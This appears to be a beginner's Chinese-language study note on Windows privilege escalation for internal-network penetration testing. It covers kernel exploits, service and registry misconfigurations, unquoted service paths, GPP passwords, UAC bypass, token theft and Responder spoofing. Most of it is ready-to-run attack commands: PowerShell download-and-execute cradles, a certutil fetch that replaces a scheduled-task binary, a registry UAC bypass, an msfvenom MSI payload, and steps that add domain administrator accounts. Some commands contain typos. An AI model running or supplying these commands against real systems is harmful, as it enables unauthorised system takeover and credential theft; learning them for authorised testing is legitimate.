菜雞萌新一枚,最近學習內網,進行記錄總結~~~~
windows權限
User,Administrator,System,TrustedInstaller
縱向提權,橫向提權
方法:
內存溢出漏洞,數據庫提權,錯誤的系統配置,組策略首選項,web中間件,dll權限劫持,溢出高權限令牌,第三方軟件。
一、系統內核溢出
1、發現補丁
whoami/groups 查看當前權限
systeminfo 查看補丁
wmic qfe get Caption,Description,HotFixID,InstalledON
補丁編號和EXP編號對比
補丁編號 | EXP編號 |
---|---|
KiTrap0D | KB979682 |
MS11-011 | KB2393802 |
MS11-080 | KB2592799 |
MS10-021 | KB979683 |
MS16-032 | KB3139914 |
Powershell中的Invoke-Ms16-032.ps1提權
Invoke-Ms16-032 -application cmd.exe -commandline "/c net user 1 1 /add"
2、msf中post/windows/gather/enum_patches/
/post/multi/recon/local_exploit_suggester
3、Windows Exploit Suggester
將已安裝補丁程序和微軟漏洞數據庫比較,並識別權限提升程序。
將補丁信息導入文件
systeminfo > syteminfo.txt
進行對比
python windows-exploit-suggester.py -d 1.xls -i syteminfo.txt
自動下載微軟官方安全公告數據庫,以excel格式保存
python windows-exploit-suggester.py -update
安裝xlrd模塊
pip install xlrd --upgrade
4、Powershell中的Sherlock腳本
Import-Module .\Sherlock.ps1
Find-AllVulns
Cobalt Strike 3.6新增elevate功能,直接“elevate ms14-058 smb” 之后getuid可查看為system權限。
二、windows操作系統配置錯誤利用
常見系統配置錯誤提權:管理員憑證配置錯誤、服務配置錯誤、故意削弱的安全措施、用戶權限過高等
1、系統服務權限配置錯誤
- windows系統服務文件在啟動時加載和執行, 低權限用戶擁有寫權限,可重啟提權。
- 正在運行無法停止的服務:常見場景 dll劫持技術 重啟提權
powershell
powershell中powerup腳本
https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1
powershell -exec bypass -c "& {import-module .\PowerUp.ps1;Invoke-Allchecks}"
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://powerup.ps1'); Invoke-AllChecks"
AbuseFuncation為利用方式,檢測相應服務漏洞,Path為該服務可執行程序的路徑。
powershell -nop -exec bypass IEX (New-Object Net.WebClient).DownloadString('http://powerup.ps1'); Install-ServiceBinary -ServerName '1111' -UserName test009 -Password test009
之后重啟系統,該服務停止運行並自動添加用戶。
Metasploit利用
post/windows/escalate/service_permissions
2、注冊表鍵AlwaysInstallElevated
AlwaysInstallElevated是一個組策略配置,將允許普通用戶以SYSTEM權限安裝文件(msi)。
PathsAlwaysInstallElevated原因
用戶開啟windows installer特權安裝功能
組策略中計算機配置和用戶配置下的windows installer永遠以高特權運行
reg add HKCU\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1
reg add HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1
windows installer 管理和軟件配置服務。管理軟件安裝,組件添加與刪除、監控文件的還原、回滾進行災難備份。
- 客戶端安裝服務(Msiexec.exe):用於安裝MSI文件包含的程序。
- MSI文件: windows installer的數據包,實際為數據庫。包含安裝卸載需要大量指令和數據。
雙擊MSI文件就運行Msiexec.exe
PowerUp利用
檢測AlwaysInstallElevated,返回true啟用
powershell -nop -exec bypass IEX (New-Object Net.WebClient).DownloadString('http://powerup.ps1'); Get-RegistryAlwaysInstallElevated
運行Write-UserAddMSI模塊,生成MSI文件。
Write-UserAddMSI
以普通用戶權限運行UserAdd.msi添加管理員賬戶
msiexec /q /i UserAdd.msi
msf利用
exploit/windows/local/always_install_elevated模塊,設置完成運行run,會返回system權限meterpreter。提權后會刪除已部署文件。
???
msfvenom -p windows/adduser USER=cat PASS=cat -f msi >adduser.msi
禁用AlwaysInstallElevated就可阻止MSI提權。
3、可信任服務路徑漏洞提權
如果一個服務的可執行文件的路徑沒有被雙引號引起來且包含空格,那么這個服務就是有漏洞的
- 路徑與服務有關,就任意創建一個服務或者編譯Service模板。
- 路徑與可執行文件有關,就任意創建一個可執行文件。
原因
windows服務通常以system權限運行,so在執行服務對應帶空格的文件路徑時,也會以系統權限運行。
如文件路徑"C:\Program Files\Some Folder\Service.exe"中windows會依次嘗試確定和執行以下程序:
- C:\Program.exe
- C:\Program Files\Some.exe
- C:\Program Files\Some Folder\Service.exe
一個“適當”程序上傳到受影響目錄,當服務重啟就會以System權限運行(通常)
利用
檢測沒有加引號的服務路徑
wmic service get name,displayname,pathname,startmode|findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr/i /v """
檢查對有漏洞目錄是否有寫入的權限
icacls “文件路徑”
Everyone:(OI)(CI)(F) 對該目錄有讀,寫,刪除其下的文件,刪除該目錄下的子目錄的權限。
上傳后重啟服務
sc stop service_name
sc start service_name
也可以用msf攻擊
trusted_service_path模塊
反彈新的meterpreter,因為一個進程啟動后需要和服務控制管理器進行通信,未通信可能會終止進程,可以使用set AutoRunScript migrate -f 自動遷移進程
4、自動安裝配置文件
自動化配置環境時可能存在配置文件,會包含本地管理員賬號及密碼
dir /b /s c:\Unattend.xml/sysprep.inf/sysprep.xml
C:\sysprep.inf
C:\sysprep\sysprep.xml
C:\Windows\system32\sysprep.inf
C:\Windows\system32\sysprep\sysprep.xml
C:\unattend.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattended.xml
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\system32\sysprep\Unattend.xml
C:\Windows\system32\sysprep\Panther\Unattend.xml
msf中post/windows/gather/enum_unattend
5、計划任務
查看高權限的計划任務
Get-ScheduledTask | Select * | ? {($_.TaskPath -notlike "\Microsoft\Windows\*") -And ($_.Principal.UserId -notlike "*$env:UserName*")} | Format-Table -Property State, Actions, Date, TaskPath, TaskName, @{Name="User";Expression={$_.Principal.userID}}
查看目錄配置情況,是否有寫權限。
accesschk64.exe -dqv "C:\Microsoft" -accepteula
accesschk64.exe -accepteula -wv lowuser C:\ScheduledTasks\Task\1.exe
列出某個驅動器下所有權限配置有缺陷的文件夾
accesschk64.exe -uwdqs Users c:\*.*
accesschk64.exe -uwdqs "Authenticated Users" c:\*.*
列出某個驅動器下所有權限配置有缺陷的文件
accesschk64.exe -uwqs Users c:\*.*
accesschk64.exe -uwqs "Authenticated Users" c:\*.*
替換meterptershell
certutil -urlcache -split -f "http://ip/1.exe" C:\ScheduledTasks\Task\1.exe
6、empire
內置powerup,其中allchecks模塊和powersploit下的powerup中invoke-allchecks模塊一樣,檢測系統中漏洞
usemodule powershell/privesc/powerup/allchecks
execute
三、組策略首選項提權
SYSVOL是AD中存儲域公共文件服務器副本的共享文件夾,在所有域控制器間復制。安裝AD時自動創建,存放登錄腳本、組策略數據以及其他域控制器需要的域信息。自動同步共享;存放在C:\Windows\SYSVOL\DOMAIN\Policies目錄中。
通常域環境中,所有機器腳本批量部署,使用域策略進行統一配置管理。組織接入域環境會要求使用域用戶密碼登陸。密碼相同時會存在風險。
組策略首選項(Group Policy Preferences,GPP)
1、PowerShell
powershell import-modulo .\Get-GPPpassword.ps1;
Get-GppPassword
2、MSF
use post/windows/gather/credentials/gpp
3、empire
usemodule privesc/gpp
除了Groups.xml,存在cpassword屬性的組策略首選項文件。
- Services\Services.xml
- ScheduledTasks\ScheduledTasks.xml
- Printers\Printers.xml
- Drives\Drives.xml
- DataSources\DataSources.xml
四、繞過UAC
UAC(User Account Control,用戶賬號控制)認證;訪問磁盤根目錄、Windows目錄,以及讀寫系統登錄數據庫等操作。
ByPass UAC的幾種方式
1.白名單提權機制 - autoElevate /具有autoElevate屬性True的應用程序會在啟動時自動提升權限
2.DLL 劫持
3.Windows 自身漏洞提權
4.遠程注入
5.COM 接口技術
autoElevate利用
利用
尋找具有autoElevate屬性True的應用程序,然后利用即可
比如常見的fodhelper.exe、eventvwr.exe都具有具有autoElevate屬性True
執行即可提權
reg add HKEY_CURRENT_USER\Software\Classes\ms-settings\shell\open\command /d C:\Windows\System32\cmd.exe /f
reg add HKEY_CURRENT_USER\Software\Classes\ms-settings\shell\open\command /v DelegateExecute /t REG_DWORD /d 00000000 /f
MSF
use exploit/windows/local/bypassuac #創建多個文件,容易被攔截。
use exploit/windows/local/bypassuac_injection #在內存的反射DLL中執行。
use exploit/windows/local/bypassuac_fodhelper #通過FodHelper注冊表項來繞過
use exploit/windows/local/bypassuac_comhijack #劫持注冊表中的特殊鍵並插入將在啟動Windows事件查看器時調用的自定義命令來繞過Windows UAC
use exploit/windows/local/bypassuac_comhijack #通過在hkcu配置單元中創建COM處理程序注冊表項來
exploit/windows/local/ask模塊,前提當前用戶必須在管理員組中或知道管理員的密碼,對UAC的設置則沒有要求,需要使用 EXE::Custom 選項創建一個可執行文件(需要免殺),目標機器會運行一個發起提升權限請求的程序,提示用戶是否要繼續運行,如果用戶選擇繼續運行程序,就會返回一個高權限的shell。
Nisahng
Invoke-PsUACme模塊使用來自UACME項目的DLL繞過UAC。
Import-Module .\Invoke-PsUACme.ps1;Invoke-PsUACme -verbose #使用sysprep方法並執行默認的payload
Import-Module .\Invoke-PsUACme.ps1;Invoke-PsUACme -method oobe -verbose #使用oobe方法並執行默認的payload
Import-Module .\Invoke-PsUACme.ps1;Invoke-PsUACme -method oobe -Payload "Powershell -windowstyle hidden -e YourEncodeedPayload" #使用-Payload可自行制定要執行的payload
Empire
- privesc/bypassuac
- privesc/bypassuac_env
- privesc/bypassuac_eventvwr
- privesc/bypassuac_fodhelper
- privesc/bypassuac_sdctlbypass
- privesc/bypassuac_tokenmanipulation
- privesc/bypassuac_wscript
五、令牌竊取
偽造令牌攻擊核心是Kerberos協議。
windows認證還是看傾旋大佬總結的吧。真的很不錯!
MSF
令牌竊取
use incognito
list_tokens -u
impersonate_token \\用戶
或者steal_token域管pid即可獲取域控。
或者在ps中發現域管理進行,利用migrate遷移,然后進入shell,添加新域管即可
net user new123 new123 /ad /domain #添加域用戶
net group "domain admins" new123 /ad /domain #用戶添加到域管理員組
查看即可
net group "domain admins" /domain
meterpreter中使用incognito模擬域管理員,通過迭代系統中所有可用令牌添加域管理員
add_user shuteer xy@china110 -h 1.1.1.2 #在meterpreter會話中在域控主機添加用戶
add_group_user "Domain Admins" shuteer -h 1.1.1.2 #添加賬戶到域管理員組
Empire
內置mimikatz,pth其中的creds id即可
也可ps查看是否有域用戶進程,steal_token獲取令牌
獲取后執行“revtoself”恢復令牌權限
Rotten potato
meterpreter > use incognito
meterpreter > list_tokens -u
meterpreter > upload /root/Rottenpotato/rottenpotato.exe
meterpreter > execute -HC -f rottenpotato.exe
meterpreter > impersonate_token \\用戶
六、無憑證條件下提權
https://www.cnblogs.com/catt1e/p/12730581.html#無憑證條件下的權限獲取分析及防范
進入目標網絡,無任何憑證,使用LLMNR和NetBIOS欺騙滲透
LLMNR和NetBIOS欺騙概念
LLMNR 本地鏈路多播名稱解析 是一種域名系統數據包格式。當局域網中的DNS服務器不可用時,DNS客戶端會使用LLMNR解析本地網段中機器的名稱,直到DNS服務器恢復為止。從Windows Vista 版本開始支持LLMNR,LLMNR支持IPv6.。
NetBIOS 是一種網絡協議,一般用在由十幾台計算機組成的局域網中(根據NetBIOS協議廣播獲得計算機名稱,並將其解析為相應的IP地址)。在Windows NT以后版本的所有操作系統中均可使用NetBIOS。NetBIOS不支持IPv6。
NTLM Hash是指Windows 操作系統的Secutiry Account Manager 中保存的用戶密碼的散列值。NTLM Hash通常保存在Windows的SAM文件或者NTDS.DIT數據庫中,用於對訪問資源的用戶進行身份驗證。
Net-NTLM Hash是指在網絡環境中經過NTML認證的散列值。使用Responder抓取的通常就是Net-NTLM Hash。
LLMNR和NetBIOS欺騙攻擊
Responder工具是監聽LLMNR和NBT-NS協議工具之一。內置SMB、MSSQL、HTTP、HTTPS、LDAP、DNS、WPAD代理服務器以及FTP、POP3、IMAP、SMTP等服務器。
假設目標網絡的DNS服務器發生故障而無法提供服務時,會退回LLMNR和NBT-NS進行計算機名稱解析。
Responder是監聽LLMNR和NBT-NS協議的工具之一,能抓取網絡中所有的LLMNR和NBT-NS請求並進行響應,獲取最初的賬戶憑證。
在滲透測試中,使用Responder並啟動回應請求功能,Responder會自動回應客戶端的請求並聲明自己就是被輸入了錯誤計算機名的那台機器,然后嘗試建立SMB連接。客戶端會發送自己的Net-NTLM Hash進行身份驗證,此時將得到目標機器的Net-NTLM Hash。